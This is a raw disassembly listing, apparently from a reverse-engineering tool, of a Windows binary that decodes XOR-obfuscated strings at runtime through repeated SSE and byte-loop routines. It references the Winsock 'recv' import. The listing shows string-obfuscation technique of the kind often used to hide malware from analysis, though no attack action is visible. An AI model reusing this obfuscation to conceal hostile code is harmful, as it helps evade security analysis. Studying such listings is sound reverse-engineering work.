movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
jmp 0x14005a4a3
mov r9, r10
nop dword [rax]
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14005a470
lea rdx, [0x14029c827]
mov rcx, r10
call fcn.140032c80
cmp byte [0x14029c827], sil
jne 0x14005a51b
mov byte [0x14029c808], sil
mov byte [0x14029c72a], sil
mov byte [0x14029c72f], sil
mov byte [0x14029c80a], sil
mov byte [0x14029c7f3], sil
mov byte [0x14029c822], sil
mov byte [0x14029c80f], sil
mov byte [0x14029c7ee], sil
mov byte [0x14029c72d], sil
mov byte [0x14029c7ec], sil
mov byte [0x14029c7ed], sil
mov byte [0x14029c72c], sil
mov byte [0x14029c7f7], sil
jmp 0x14005bc53
movss xmm0, dword [0x1401ca5f8]
call fcn.140015cb0
lea rdx, [rbp + 0xa80]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061c10
mov r10, rax
cmp byte [rax + 0xe], sil
je 0x14005a6e4
mov r8d, esi
cmp r13d, 2
jl 0x14005a6a7
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14005a6b0
lea rdx, [0x14029c808]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0xce0]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061c40
mov r10, rax
cmp byte [rax + 0xf], sil
je 0x14005a913
mov r8d, esi
cmp r13d, 2
jl 0x14005a8db
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
jmp 0x14005a913
mov r9, r10
nop
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14005a8e0
lea rdx, [0x14029c72a]
mov rcx, r10
call fcn.140032c80
lea rdx, [rsp + 0x78]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061c50
mov r10, rax
cmp byte [rax + 0x11], sil
je 0x14005ab54
mov r8d, esi
cmp r13d, 2
jl 0x14005ab0c
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14005ab20
lea rdx, [0x14029c72f]
mov rcx, r10
call fcn.140032c80
lea rdx, [rsp + 0x78]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061c70
mov r10, rax
cmp byte [rax + 0x11], sil
je 0x14005ad94
mov r8d, esi
cmp r13d, 2
jl 0x14005ad4d
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14005ad60
lea rdx, [0x14029c80a]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0xa71]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061c90
mov r10, rax
cmp byte [rax + 0xe], sil
je 0x14005af64
mov r8d, esi
cmp r13d, 2
jl 0x14005af22
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14005af30
lea rdx, [0x14029c7f3]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0x9ee]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061cc0
mov r10, rax
cmp byte [rax + 0xd], sil
je 0x14005b134
mov r8d, esi
cmp r13d, 2
jl 0x14005b0f2
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x14005b100
lea rdx, [0x14029c822]
mov rcx, r10
call fcn.140032c80
lea rdx, [rsp + 0x78]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061cf0
mov r10, rax
cmp byte [rax + 0x10], sil
je 0x14005b374
mov r8d, esi
cmp r13d, 2
jl 0x14005b32d
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x14005b340
lea rdx, [0x14029c80f]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0x626]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061d10
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14005b3ce
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor byte [rax + 9], 0x3a
xor cl, 0x3b
mov byte [rax + 0xa], cl
lea rdx, [0x14029c7ee]
mov rcx, rax
call fcn.140032c80
lea rdx, [rbp + 0xa62]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061d40
mov r10, rax
cmp byte [rax + 0xe], sil
je 0x14005b5a4
mov r8d, esi
cmp r13d, 2
jl 0x14005b55c
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14005b570
lea rdx, [0x14029c72d]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0x735]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061d70
mov r10, rax
cmp byte [rax + 0xc], sil
je 0x14005b774
mov r8d, esi
cmp r13d, 2
jl 0x14005b732
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
